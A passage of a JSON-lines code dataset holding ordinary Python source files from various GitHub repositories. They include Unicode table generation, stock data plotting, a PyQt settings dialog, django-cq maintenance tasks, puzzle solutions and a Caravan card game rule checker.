min_ranges = compressed_ranges\n print(\"min:\", min_b, min_size, min_ranges, file=sys.stderr)\n PrintMapRanges (out_file, prop_map, min_ranges, name, bytes_per_char, datatype)\n\n\ndef LocateUCDData(ucddir, subdirs, filename):\n fullpath = os.path.join (ucddir, '/'.join (subdirs), filename)\n candidate = fullpath\n while candidate:\n if len(subdirs) > 0:\n subdirs = subdirs[:-1]\n next_candidate = os.path.join (ucddir, '/'.join (subdirs), filename)\n else:\n next_candidate = None\n if os.path.isfile(candidate):\n return candidate\n candidate = next_candidate\n # If no candidate exists, return 'right' path (and let consumer complain)\n return fullpath\n\n\nparser = argparse.ArgumentParser(description='Process UCD data')\nparser.add_argument('-d', '--ucd', dest='ucd_dir', required=True, help='UCD directory')\nparser.add_argument('-u', '--ucver', dest='ucver', required=True, help='Unicode version')\nparser.add_argument('-o', '--out', dest='out_dir', required=True, help='Output directory')\n\nargs = parser.parse_args()\n\nranges_White_Space = Range()\nranges_XID_Start = Range()\nranges_XID_Continue = Range()\ncombining_class = {}\ncanonical_decomp = {}\nranges_NFD_QC_No = Range()\n\ndef HandleBaseProp(prop_info):\n if prop_info[1] == 'White_Space':\n ranges_White_Space.append(prop_info[0])\n\ndef HandleDerivedProp(prop_info):\n if prop_info[1] == 'XID_Start':\n ranges_XID_Start.append(prop_info[0])\n elif prop_info[1] == 'XID_Continue':\n ranges_XID_Continue.append(prop_info[0])\n\ndef HandleCCProp(prop_info):\n ch_range, prop_str = prop_info\n cc = int(prop_str)\n if not cc:\n return\n for ch in range(ch_range[0], ch_range[1]+1):\n combining_class[ch] = cc\n\ndef HandleUnicodeData(prop_info):\n ch = prop_info[0]\n decomp = prop_info[5]\n if not decomp: return\n # Ignore compatibility mappings\n if decomp[0] == '<': return\n seq = []\n for cp_str in decomp.split(' '):\n if not cp_str: continue\n cp = int(cp_str, 16)\n seq.append (cp)\n canonical_decomp[ch[0]] = seq\n\ndef RecursivelyResolveDecompositions():\n global canonical_decomp\n do_resolve = True\n while do_resolve:\n do_resolve = False\n new_canonical_decomp = {}\n for cp, decomp in canonical_decomp.items():\n new_decomp = []\n for dcp in decomp:\n if dcp in canonical_decomp:\n new_decomp += canonical_decomp[dcp]\n do_resolve = True\n else:\n new_decomp.append (dcp)\n new_canonical_decomp[cp] = new_decomp\n canonical_decomp = new_canonical_decomp\n\ndef HandleDerivedNormProp(prop_info):\n if prop_info[1] != \"NFD_QC\": return\n ranges_NFD_QC_No.append(prop_info[0])\n\nParseProperties (LocateUCDData (args.ucd_dir, [], \"PropList.txt\"), HandleBaseProp)\nParseProperties (LocateUCDData (args.ucd_dir, ['extracted'], \"DerivedCoreProperties.txt\"), HandleDerivedProp)\nParseProperties (LocateUCDData (args.ucd_dir, ['extracted'], \"DerivedCombiningClass.txt\"), HandleCCProp)\nParseProperties (LocateUCDData (args.ucd_dir, [], \"UnicodeData.txt\"), HandleUnicodeData)\nParseProperties (LocateUCDData (args.ucd_dir, [], \"DerivedNormalizationProps.txt\"), HandleDerivedNormProp)\n\nOUTPUT_DIR = args.out_dir\nProcessSetRanges (ranges_White_Space, \"White_Space\")\nProcessSetRanges (ranges_XID_Start, \"XID_Start\")\nProcessSetRanges (ranges_XID_Continue, \"XID_Continue\")\nProcessMap (combining_class, \"CombiningClass\", Data_UI8_per_CP)\nProcessSetRanges (ranges_NFD_QC_No, \"NFD_QC_No\")\n\nRecursivelyResolveDecompositions()\nProcessMap (canonical_decomp, \"CanonicalDecomp\", Data_CP_Seq)\n","repo_name":"res2k/shader1","sub_path":"build/generate_char_data.py","file_name":"generate_char_data.py","file_ext":"py","file_size_in_byte":12330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"30588967262","text":"import matplotlib.pyplot as plt\r\nimport pandas as pd\r\ngoogle_stock = pd.read_csv('Documents/NumPy/GOOG.csv', index_col = ['Date'], parse_dates = True, usecols = ['Date','Adj Close'])\r\napple_stock = pd.read_csv('Documents/NumPy/AAPL.csv', index_col = ['Date'], parse_dates = True, usecols = ['Date','Adj Close'])\r\namazon_stock = pd.read_csv('Documents/NumPy/AMZN.csv', index_col = ['Date'], parse_dates = True, usecols = ['Date','Adj Close'])\r\ngoogle_stock = google_stock.rename(columns ={'Adj Close':'Google'})\r\napple_stock = apple_stock.rename(columns ={'Adj Close' : 'Apple'})\r\namazon_stock = amazon_stock.rename(columns ={'Adj Close' : 'Amazon'})\r\ndates = pd.date_range('2000-01-01', '2016-12-31')\r\nall_stocks = pd.DataFrame(index = dates)\r\nall_stocks = all_stocks.join(google_stock)\r\nall_stocks = all_stocks.join(apple_stock)\r\nall_stocks = all_stocks.join(amazon_stock)\r\nnan_values = all_stocks.isnull().sum().sum()\r\nall_stocks.dropna(axis=0)\r\nprint('Average stock price:\\n', all_stocks.mean())\r\nprint('\\nMedian stock price:\\n', all_stocks.median())\r\nprint('\\nStandard deviation:\\n', all_stocks.std())\r\nprint('\\nCorrelation:\\n', all_stocks.corr())\r\nrollingMean = google_stock.rolling(150).mean()\r\nplt.plot(all_stocks['Google'])\r\nplt.plot(rollingMean)\r\nplt.legend(['Google Stock Price', 'Rolling Mean'])\r\nplt.show()\r\n","repo_name":"luigifrascarelli/AI-Programming-with-Python","sub_path":"stock_data.py","file_name":"stock_data.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"29167116649","text":"#! /usr/bin/env python\n\n# This tester listens on port 8051 for a single http request, with\n# a URL that starts with /api/v....\n# It exits after one request.\n# It assumes that GeoIP is already installed on the current machine\n# with an installation of cvmfs-server, but reads the rest from\n# the current directory.\n\nfrom wsgiref.simple_server import make_server\n\nimport sys\nsys.path.append('.')\nsys.path.append('/usr/share/cvmfs-server/webapi')\n\nfrom ctypes import cdll\ncdll.LoadLibrary('/usr/share/cvmfs-server/webapi/GeoIP.so')\n\nexecfile('cvmfs-api.wsgi')\n\nimport socket\nhttpd = make_server(\n socket.gethostname(), # The host name.\n 8051, # A port number where to wait for the request.\n application # Our application object name, in this case a function.\n )\n\n# Wait for a single request, serve it and quit.\nhttpd.handle_request()\n","repo_name":"cvmfs/cvmfs","sub_path":"cvmfs/webapi/test-api.py","file_name":"test-api.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":260,"dataset":"github-code","pt":"34"} +{"seq_id":"3449947314","text":"import cv2\nimport matplotlib.pyplot as plt\n\n\ndef read_image(image_file, haarcascade_frontalface_file):\n image = cv2.imread(image_file)\n grayscale_image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n face_cascade = cv2.CascadeClassifier(haarcascade_frontalface_file)\n\n bounding_boxes = face_cascade.detectMultiScale(grayscale_image, 1.25, 6)\n #print(bounding_boxes[0])\n bb = bounding_boxes[0]\n x = bb[0]\n y = bb[1]\n w = bb[2]\n h = bb[3]\n\n\n # fig, ax = plt.subplots(1)\n # ax.imshow(grayscale_image, cmap=\"gray\")\n # rect = patches.Rectangle((bb[0], bb[1]), bb[2], bb[3]\n # ,linewidth=1,edgecolor='r',facecolor='none')\n # ax.add_patch(rect)\n\n za_treninanje_slika = grayscale_image[y:y+h, x:x+w]\n resized = cv2.resize(za_treninanje_slika, (96, 96))\n\n return resized, image, bb\n\ndef plot_image(network, image, load_file, normalize=True):\n plt.figure(dpi=250)\n if normalize:\n image = image / 255.0\n\n predicted = network.predict(image.reshape(1, -1), load_file=load_file)[0]\n plt.imshow(image, cmap=\"gray\")\n predicted = predicted * 48 + 48\n plt.scatter(predicted[::2], predicted[1::2], c=\"r\")\n plt.show()\n\n return predicted\n\ndef plot_original_image(original_image, predicted, bbox):\n plt.figure(dpi=250)\n x = bbox[0]\n y = bbox[1]\n w = bbox[2]\n h = bbox[3]\n\n plt.imshow(cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB))\n plt.scatter(predicted[::2]*(121/96) + y, predicted[1::2]*(121/96) + x, c=\"w\"\n ,s=2)\n plt.show()\n\n","repo_name":"mihaelnikic/Detecting-Facial-Features-CNN","sub_path":"dataset/image_loader.py","file_name":"image_loader.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"32184753147","text":"from PyQt6 import QtCore, QtWidgets\nfrom PyQt6.QtWidgets import QDialog, QSizePolicy, QFormLayout, QHBoxLayout, QVBoxLayout, \\\n QSpacerItem, QLabel, QDialogButtonBox\n\nfrom agstoolbox.core.settings.settings import Settings, ConstSettings\nfrom agstoolbox.wdgts.at_dirlist_wdgt import DirListWidget\nfrom agstoolbox.wdgts.at_single_dir_wdgt import DirEditWidget\nfrom agstoolbox.wdgts_utils.get_self_path import get_app_path\nfrom agstoolbox import __version__\n\n\nclass SettingsDialog(QDialog):\n def __init__(self, parent: QtWidgets = None):\n QDialog.__init__(self, parent)\n self.setObjectName(\"SettingsDialog\")\n self.resize(512, 400)\n self.setSizeGripEnabled(True)\n\n self.label_settings_intro = QLabel(self)\n self.label_settings_intro.setObjectName(\"label_settings_intro\")\n self.label_settings_intro.setAlignment(QtCore.Qt.AlignmentFlag.AlignRight)\n\n self.run_at_startup_label = QLabel(self)\n self.run_at_startup_label.setObjectName(\"run_at_startup_label\")\n self.run_at_startup_checkbox = QtWidgets.QCheckBox(self)\n self.run_at_startup_checkbox.setObjectName(\"run_at_startup_checkbox\")\n\n self.base_install_dir_label = QLabel(self)\n self.base_install_dir_label.setObjectName(\"base_install_dir_label\")\n\n self.install_dir_line_edit = DirEditWidget(\n parent=self,\n initial_dir=Settings().get_tools_install_dir(),\n default_dir=ConstSettings().DEFAULT_TOOLS_INSTALL_DIR)\n\n self.label_editors = QtWidgets.QLabel(self)\n self.label_editors.setWordWrap(True)\n self.label_editors.setObjectName(\"label_editors\")\n\n self.external_editors_dir_search_list = DirListWidget(\n parent=self,\n default_dirs=ConstSettings().DEFAULT_EXT_EDITORS_SEARCH_DIRS,\n dirs=[])\n self.external_editors_dir_search_list.setObjectName(\"external_editors_dir_search_list\")\n\n self.label_projects = QtWidgets.QLabel(self)\n self.label_projects.setWordWrap(True)\n self.label_projects.setObjectName(\"label_projects\")\n\n self.project_dir_search_list = DirListWidget(\n parent=self,\n default_dirs=ConstSettings().DEFAULT_PROJECTS_SEARCH_DIRS,\n dirs=[])\n self.project_dir_search_list.setObjectName(\"project_dir_search_list\")\n\n self.button_box = QDialogButtonBox(self)\n self.button_box.setStandardButtons(\n QDialogButtonBox.StandardButton.Cancel | QDialogButtonBox.StandardButton.Ok)\n self.button_box.setObjectName(\"buttonBox\")\n\n self.formLayout = QFormLayout()\n self.formLayout.setObjectName(\"formLayout\")\n self.horizontalLayout_3 = QHBoxLayout(self)\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n self.verticalLayout_3 = QVBoxLayout()\n self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\n self.verticalLayout_3.addWidget(self.label_settings_intro)\n\n # run at startup\n self.formLayout.setWidget(1, QFormLayout.ItemRole.FieldRole,\n self.run_at_startup_checkbox)\n self.formLayout.setWidget(1, QFormLayout.ItemRole.LabelRole, self.run_at_startup_label)\n\n # manual editor search dirs\n self.formLayout.setWidget(2, QFormLayout.ItemRole.FieldRole,\n self.external_editors_dir_search_list)\n self.formLayout.setWidget(2, QFormLayout.ItemRole.LabelRole, self.label_editors)\n\n # project search dirs\n self.formLayout.setWidget(3, QFormLayout.ItemRole.FieldRole,\n self.project_dir_search_list)\n self.formLayout.setWidget(3, QFormLayout.ItemRole.LabelRole, self.label_projects)\n\n # install tools dir\n self.formLayout.setWidget(4, QtWidgets.QFormLayout.ItemRole.FieldRole,\n self.install_dir_line_edit)\n self.formLayout.setWidget(4, QtWidgets.QFormLayout.ItemRole.LabelRole,\n self.base_install_dir_label)\n\n self.verticalLayout_3.addLayout(self.formLayout)\n spacer_item = QSpacerItem(20, 40, QSizePolicy.Policy.Minimum,\n QSizePolicy.Policy.Expanding)\n self.verticalLayout_3.addItem(spacer_item)\n self.verticalLayout_3.addWidget(self.button_box)\n self.horizontalLayout_3.addLayout(self.verticalLayout_3)\n\n self.retranslateUi()\n QtCore.QMetaObject.connectSlotsByName(self)\n\n self.apply_from_settings_to_dialog()\n self.button_box.accepted.connect(self.clicked_ok)\n self.button_box.rejected.connect(self.clicked_cancel)\n\n def apply_from_settings_to_dialog(self):\n Settings().set_app_path(get_app_path())\n\n run_at_startup = Settings().get_run_when_os_starts()\n self.run_at_startup_checkbox.setChecked(run_at_startup)\n\n dirs = Settings().get_manually_installed_editors_search_dirs()\n self.external_editors_dir_search_list.setDirs(dirs)\n\n dirs = Settings().get_project_search_dirs()\n self.project_dir_search_list.setDirs(dirs)\n\n install_dir = Settings().get_tools_install_dir()\n self.install_dir_line_edit.setText(install_dir)\n\n def apply_from_dialog_to_settings(self):\n Settings().set_app_path(get_app_path())\n\n run_at_startup = self.run_at_startup_checkbox.isChecked()\n Settings().set_run_when_os_starts(run_at_startup)\n\n dirs = self.external_editors_dir_search_list.getDirs()\n Settings().set_manually_installed_editors_search_dirs(dirs)\n\n dirs = self.project_dir_search_list.getDirs()\n Settings().set_project_search_dirs(dirs)\n\n install_dir = self.install_dir_line_edit.text()\n try:\n Settings().set_tools_install_dir(install_dir)\n except ValueError:\n QtWidgets.QMessageBox.warning(\n self, \"Warning\", \"tools installation dir not found and not set.\")\n\n try:\n Settings().save()\n except OSError:\n QtWidgets.QMessageBox.warning(\n self, \"Warning\", \"failed to save settings.\")\n\n def retranslateUi(self):\n _translate = QtCore.QCoreApplication.translate\n self.setWindowTitle(_translate(\"SettingsDialog\", \"Settings\"))\n self.label_settings_intro.setText(\n \"AGS Toolbox \" + __version__ + \". \" +\n _translate(\"SettingsDialog\", \"Adjust settings here.\"))\n self.run_at_startup_label.setText(\n _translate(\"SettingsDialog\",\n \"Run on OS startup (experimental)\"))\n self.base_install_dir_label.setText(_translate(\"SettingsDialog\", \"Base install dir\"))\n self.label_editors.setText(\n _translate(\"SettingsDialog\", \"Externally installed AGS Editors search paths\"))\n self.label_projects.setText(\n _translate(\"SettingsDialog\", \"AGS Game projects search paths\"))\n self.install_dir_line_edit.retranslateUi()\n self.project_dir_search_list.retranslateUi()\n self.external_editors_dir_search_list.retranslateUi()\n\n def closeEvent(self, evnt):\n QDialog.closeEvent(self, evnt)\n\n def clicked_ok(self):\n self.accept()\n\n def clicked_cancel(self):\n self.reject()\n\n def accept(self) -> None:\n self.apply_from_dialog_to_settings()\n self.apply_from_settings_to_dialog()\n QDialog.accept(self)\n\n def reject(self) -> None:\n self.apply_from_settings_to_dialog()\n QDialog.reject(self)\n","repo_name":"ericoporto/agstoolbox","sub_path":"src/agstoolbox/panels/at_settings_dialog.py","file_name":"at_settings_dialog.py","file_ext":"py","file_size_in_byte":7533,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"34"} +{"seq_id":"13992928745","text":"\ndef sort_children_by_age(family, all_individuals):\n \"\"\"\n Returns all children sorted in descending order by age\n :param family: The family to check for, if the CHIL tag is not present, returns the []\n :param all_individuals: All individuals, keyed by the INDI. Should have INDI, AGE, and NAME fields\n :return: The sorted list, or the empty list for no children\n \"\"\"\n try:\n children_ids = family[\"CHIL\"]\n except KeyError:\n return []\n children = [all_individuals[child_id] for child_id in children_ids if child_id in all_individuals]\n children.sort(key=lambda child: child[\"AGE\"], reverse=True)\n return children\n","repo_name":"daharrington1/CS555W","sub_path":"Utils/UserStory28.py","file_name":"UserStory28.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"6936813956","text":"import cv2\n\nfor i in range(50):\n cap = cv2.VideoCapture(i, cv2.CAP_V4L2)\n print(f\"Trying camera index {i}.\")\n if not cap.read()[0]:\n continue\n cap.release()\n print(f\"Camera index {i} is available.\")\n\n\n#cmake /home/bennett/opencv -DCMAKE_BUILD_TYPE=RELEASE -DCMAKE_INSTALL_PREFIX=/usr/local\n","repo_name":"HeisenbergXXX/PI4_AdSkipper","sub_path":"findCamIndex.py","file_name":"findCamIndex.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"33716065316","text":"from datetime import timedelta\nimport logging\n\nfrom django.utils import timezone\nfrom django.core.cache import cache\nfrom django.core.management import call_command\n\nfrom .backends import backend\nfrom .decorators import task\nfrom .models import Task\nfrom .utils import redis_connection\n\n\n@task\ndef clean_up(task, *args):\n \"\"\" Remove stale tasks.\n\n Only remove tasks that have succeeded, are older than the TTl, have\n no dependencies that are still incomplete.\n \"\"\"\n now = timezone.now()\n to_del = Task.objects.filter(\n status=Task.STATUS_SUCCESS,\n result_expiry__lte=now\n )\n if len(to_del):\n task.log('Cleaned up: {}'.format(', '.join([str(o.id) for o in to_del])))\n to_del.delete()\n\n\n@task\ndef clear_logs(cqt):\n \"\"\" Remove all logs from REDIS.\n \"\"\"\n with redis_connection() as con:\n for key in con.keys('cq:*:logs'):\n con.delete(key)\n\n\n@task\ndef retry_tasks(cqtask, *args, **kwargs):\n retry_delay = kwargs.pop('retry_delay', 1)\n retry = Task.objects.filter(status=Task.STATUS_RETRY)\n launched = 0\n for task in retry:\n next_retry = (task.retries ** 2) * timedelta(minutes=retry_delay)\n now = timezone.now()\n if not task.last_retry or (now - task.last_retry) >= next_retry:\n cqtask.log('Retrying: {}'.format(task.id))\n task.retry()\n launched += 1\n if launched >= 20: # cap at 20\n break\n\n\n@task\ndef check_lost(cqtask, *args):\n running_task_ids = backend.get_running_tasks()\n cqtask.log('Running tasks: {}'.format(running_task_ids), logging.DEBUG)\n queued_task_ids = backend.get_queued_tasks()\n cqtask.log('Queued tasks: {}'.format(queued_task_ids), logging.DEBUG)\n queued_tasks = Task.objects.filter(status=Task.STATUS_QUEUED)\n running_tasks = Task.objects.filter(status=Task.STATUS_RUNNING)\n for task in queued_tasks:\n if str(task.id) not in queued_task_ids:\n with cache.lock(str(task.id), timeout=2):\n if task.at_risk == Task.AT_RISK_QUEUED:\n cqtask.log('Lost in queue: {}'.format(task.id))\n task.status = Task.STATUS_LOST\n task._store_logs()\n task.save(update_fields=['status', 'details'])\n else:\n task.at_risk = Task.AT_RISK_QUEUED\n task.save(update_fields=['at_risk'])\n for task in running_tasks:\n if str(task.id) not in running_task_ids:\n with cache.lock(str(task.id), timeout=2):\n if task.at_risk == Task.AT_RISK_RUNNING:\n cqtask.log('Lost on worker: {}'.format(task.id))\n task.status = Task.STATUS_LOST\n task._store_logs()\n task.save(update_fields=['status', 'details'])\n else:\n task.at_risk = Task.AT_RISK_RUNNING\n task.save(update_fields=['at_risk'])\n\n\n@task\ndef maintenance(task):\n retry_tasks(task=task)\n check_lost(task=task)\n clean_up(task=task)\n\n\n@task\ndef call_command_task(task, *args, **kwargs):\n \"\"\"A wrapper to call management commands.\n \"\"\"\n return call_command(*args, **kwargs)\n\n\n@task\ndef memory_details(task, method=None):\n if method == 'pympler':\n from pympler import muppy, summary\n all_objs = muppy.get_objects()\n summary.print_(summary.summarize(all_objs))\n elif method == 'mem_top':\n from mem_top import mem_top\n task.log(mem_top())\n else:\n import subprocess\n import shlex\n result = subprocess.check_output(\n 'ps --no-headers -eo pmem,vsize,rss,pid,cmd | sort -k 1 -nr',\n shell=True\n )\n task.log('\\n' + result.decode('utf8'))\n","repo_name":"ryanmcgrath/django-cq","sub_path":"cq/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"45771109331","text":"# encoding:utf-8\nimport copy\nimport random\nimport bisect #bisect_left　これで二部探索の大小検索が行える\nimport fractions #最小公倍数などはこっち\nimport math\nimport sys\nimport bisect\nimport collections\n\nmod = 10**9+7\nsys.setrecursionlimit(mod) # 再帰回数上限はでdefault1000\n\ndef LI(): return list(map(int, sys.stdin.readline().split()))\nN = int(input())\n\n\ndef factorint(N):\n\n table = []\n while(N > 1):\n for i in range(2,N+1):\n if N%i == 0:\n while N%i == 0:\n N = N//i\n table.append(i)\n break\n return table\n\nl = []\nfor n in range(1,N+1):\n l += factorint(n)\nc = collections.Counter(l)\ncom = {74:0,24:0,14:0,4:0,2:0}\n# print(c)\nfor key in c.keys():\n if c[key] >= 74:\n com[74] += 1\n if c[key] >= 24:\n com[24] += 1\n if c[key] >= 14:\n com[14] += 1\n if c[key] >= 4:\n com[4] += 1\n if c[key] >= 2:\n com[2] += 1\n# print(com)\nans = 0\nans += com[74]\nans += com[24] * (com[2] - 1)\nans += com[14] * (com[4] - 1)\nans += com[4] * (com[4] - 1)* (com[2] - 2) //2\nprint(ans)\n","repo_name":"seven320/AtCoder","sub_path":"114/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"19295825405","text":"import pandas as pd\nimport numpy as np\nfrom typing import List, Tuple\n\ndef is_winning_board(board: pd.DataFrame):\n # Completed Row\n if 0 in board.sum(axis=1).values:\n return True\n\n # Completed Column\n if 0 in board.sum(axis=0).values:\n return True\n\n return False\n\ndef score_board(board):\n return board.sum(numeric_only=True).sum()\n\ndef read_file() -> Tuple[List[int], List[pd.DataFrame]]:\n with open(\"Day04/data.txt\") as f:\n lines = f.readlines()\n calls = list(map(int, lines[0].split(\",\")))\n\n line_number = 2\n boards = []\n\n while line_number < len(lines):\n current_board = pd.DataFrame(columns =['0', '1', '2', '3', '4'])\n for _ in range(5):\n row = [int(lines[line_number][i:i+2]) for i in range(0, len(lines[line_number]), 3)]\n current_board.loc[len(current_board)] = row\n line_number +=1\n boards.append(current_board)\n\n line_number += 1\n return calls, boards\n\n\ndef play(calls, boards, number_of_remaining_boards_needed):\n remaining_boards = set([b for b in range(len(boards))])\n dictionary = {c : c for c in calls }\n\n for call in calls:\n for board_number, board in enumerate(boards):\n if board_number in remaining_boards:\n dictionary[call] = np.nan\n board = board.applymap(dictionary.get) \n if is_winning_board(board):\n remaining_boards.remove(board_number)\n if len(remaining_boards) == number_of_remaining_boards_needed:\n print(score_board(board) * call) \n return\n\ncalls, boards = read_file()\nplay(calls, boards, number_of_remaining_boards_needed = len(boards) - 1) #6592\nplay(calls, boards, number_of_remaining_boards_needed = 0) #31755","repo_name":"DavidBetteridge/AdventOfCode2021","sub_path":"Day04/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"2242564982","text":"#User function Template for python3\n\n\ndef binarySearch(arr, number, initial, end):\n if (end >= initial):\n middle = initial + (end - initial) // 2\n\n if arr[middle] == number:\n return middle\n elif (number > arr[middle]):\n print(\"for next itiraration\",middle, end)\n return binarySearch(arr, number, middle+1, end)\n else:\n print(\"for next itiraration\",initial, middle-1)\n return binarySearch(arr, number, initial, middle-1)\n else:\n return -1\n\n\n\nif __name__ == '__main__':\n t=int(input())\n for _ in range(t):\n params=[int(x) for x in input().strip().split()]\n n = params[0]\n number = params[1]\n arr=[int(x) for x in input().strip().split()]\n result = binarySearch(arr, number, 0, n-1)\n if (result > -1):\n print(result+1)\n else:\n print(result)\n\n","repo_name":"sachinjangid/myAlgos","sub_path":"myAlgos/who-will-win.py","file_name":"who-will-win.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"4218760069","text":"\"\"\"Module for functions that check for the Caravan card game rules and \r\neffects of special cards given the current state of players' caravans.\"\"\"\r\nfrom entities.player import Player\r\n\r\nCARAVAN_MIN = 21\r\nCARAVAN_MAX = 26\r\n\r\n\r\ndef check_if_caravan_ready(car_val: int):\r\n \"\"\"Check if caravan is ready to be sold.\r\n\r\n Args:\r\n car_val (int): The total value of a caravan's cards.\r\n\r\n Returns:\r\n bool: True if car_val is within range 21-26, else False.\r\n \"\"\"\r\n return CARAVAN_MIN <= car_val <= CARAVAN_MAX\r\n\r\n\r\ndef check_if_caravan_sold(car_val: int, opposing_car_val: int):\r\n \"\"\"Check if your caravan is ready and higher value than the opposing caravan.\r\n\r\n Args:\r\n car_val (int): Your caravan's value.\r\n\r\n opposing_car_val (int): Opponent's opposing caravan's value.\r\n\r\n Returns:\r\n bool: True if car_val is ready to be sold and higher in value than a ready opposing_car_val. \r\n Else False.\r\n \"\"\"\r\n if check_if_caravan_ready(car_val):\r\n if not check_if_caravan_ready(opposing_car_val):\r\n return True\r\n if car_val > opposing_car_val:\r\n return True\r\n return False\r\n\r\n\r\ndef check_if_legal_move(player: Player, opponent: Player, move: tuple):\r\n \"\"\"General function to check if a action to be performed is legal according to the game rules.\r\n\r\n Args:\r\n player (Player): represents the one performing the action.\r\n\r\n opponent (Player): represents the opposing player during the action.\r\n\r\n move (tuple): tuple of (caravan,index,card): Caravan into \r\n which the card object is being placed, \r\n index at which the card is being placed at in the caravan. \r\n The card object that's being placed.\r\n\r\n Returns:\r\n tuple(bool,str): A tuple of bool and str. False if \r\n the move was illegal and a message explaining why. \r\n True if the move is legal and an empty string.\r\n \"\"\"\r\n _, _, card = move\r\n if not all_own_caravans_started_or_card_going_to_own_unstarted_caravan(player, move):\r\n return (False, 'You need to start all your caravans before placing cards elsewhere. ' +\r\n 'Cards need to be either Ace or 2-10 value card.')\r\n if not putting_card_into_opponent_caravan(opponent, move):\r\n return (False, 'Only special cards (Jack, Queen, King, Joker) ' +\r\n 'can be placed in opponents caravan.')\r\n if not card.special and not using_number_card(move):\r\n return (False, 'Illegal action for a number card.')\r\n if card.special and not using_special_card(move):\r\n return (False, 'Special cards need to be placed on top of other cards.')\r\n return (True, '',)\r\n\r\n\r\ndef all_own_caravans_started_or_card_going_to_own_unstarted_caravan(player, move) -> bool:\r\n \"\"\"Check for caravan started statuses.\r\n\r\n Args:\r\n player (PLayer): Player object represents the one performing the action.\r\n move (tuple): tuple of (caravan,index,card), see \r\n check_if_legal_move for more thorough description.\r\n\r\n Returns:\r\n bool: True if all caravans started or the card used is a number card on a \r\n caravan that isn't started and the player owns. Else False.\r\n \"\"\"\r\n caravan, _, card = move\r\n if not all(c.started for c in player.caravans):\r\n if caravan not in player.caravans:\r\n return False\r\n if caravan.started:\r\n return False\r\n if not card.value in range(1, 11):\r\n return False\r\n return True\r\n\r\n\r\ndef putting_card_into_opponent_caravan(opponent, move):\r\n \"\"\"Check if a card is being placed in opponent's caravan and if the card is suited for that.\r\n \"\"\"\r\n caravan, _, card = move\r\n if caravan in opponent.caravans and not card.special:\r\n return False\r\n return True\r\n\r\n\r\ndef using_number_card(move):\r\n \"\"\"Check if the action performed is legal for a number card.\r\n \"\"\"\r\n caravan, idx, card = move\r\n c_ord_desc = caravan.order_descending\r\n legal_move = True\r\n if idx <= len(caravan.cards)-1 and idx != -1:\r\n legal_move = False\r\n if len(caravan.cards) > 0:\r\n crd = next(c for c in caravan.cards[::-1] if not c.special)\r\n prev_value = crd.value\r\n prev_suit = crd.suit\r\n if prev_value == card.value:\r\n legal_move = False\r\n if legal_move and c_ord_desc is None:\r\n return legal_move\r\n # If Queen is the top most card in caravan, it determins the suit.\r\n if caravan.cards[-1].value == 12:\r\n prev_suit = caravan.cards[-1].suit\r\n if legal_move and prev_suit == card.suit:\r\n return legal_move\r\n if c_ord_desc and prev_value <= card.value:\r\n legal_move = False\r\n if not c_ord_desc and prev_value >= card.value:\r\n legal_move = False\r\n return legal_move\r\n\r\n\r\ndef using_special_card(move):\r\n \"\"\"Check if the action is legal for a special card (Jack, Queen, King, Joker).\r\n \"\"\"\r\n caravan, idx, card = move\r\n # Queen can only be placed on top of the caravan.\r\n if idx == len(caravan.cards):\r\n idx = -1\r\n if card.value == 12 and idx != -1:\r\n return False\r\n # Can't place picture card into an empty caravan.\r\n if len(caravan.cards) == 0 or idx == 0:\r\n return False\r\n # To make sure that other specials are removed,\r\n # jack or joker can't be placed in between special and number cards.\r\n if card.value in [11, 0] and idx != -1:\r\n if caravan.cards[idx].special:\r\n return False\r\n return True\r\n\r\n\r\ndef get_cards_removed_by_jack(move):\r\n \"\"\"Get the cards that jack would remove from a caravan with the given action.\r\n\r\n Args:\r\n move (tuple): tuple of (caravan,index,card), see \r\n check_if_legal_move for more thorough description.\r\n\r\n Returns:\r\n list: A list of card objects that should be removed, if the action were to be performed.\r\n \"\"\"\r\n caravan, idx, _ = move\r\n cards_to_remove = []\r\n if idx == -1:\r\n idx = len(caravan.cards) - 1\r\n for i in range(idx-1, -1, -1):\r\n cards_to_remove.append(caravan.cards[i])\r\n if not caravan.cards[i].special:\r\n break\r\n return cards_to_remove\r\n\r\n\r\ndef _find_cards_to_remove(player, opponent, protected):\r\n cards_to_remove = []\r\n remove_following_specials = False\r\n for crvn in player.caravans + opponent.caravans:\r\n for crd in crvn.cards:\r\n if crd == protected:\r\n remove_following_specials = False\r\n continue\r\n if not crd.special:\r\n remove_following_specials = False\r\n # If protected card was Ace, remove all of the same suit\r\n if protected.value == 1 and protected.suit == crd.suit:\r\n cards_to_remove.append(crd)\r\n remove_following_specials = True\r\n # If protected card was any other number card, remove all of the same value\r\n elif protected.value != 1 and protected.value == crd.value:\r\n cards_to_remove.append(crd)\r\n remove_following_specials = True\r\n elif remove_following_specials:\r\n cards_to_remove.append(crd)\r\n return cards_to_remove\r\n\r\n\r\ndef get_cards_removed_by_joker(player, opponent, move):\r\n \"\"\"Get the cards that joker would remove from a caravan with the given action.\r\n\r\n Args:\r\n player 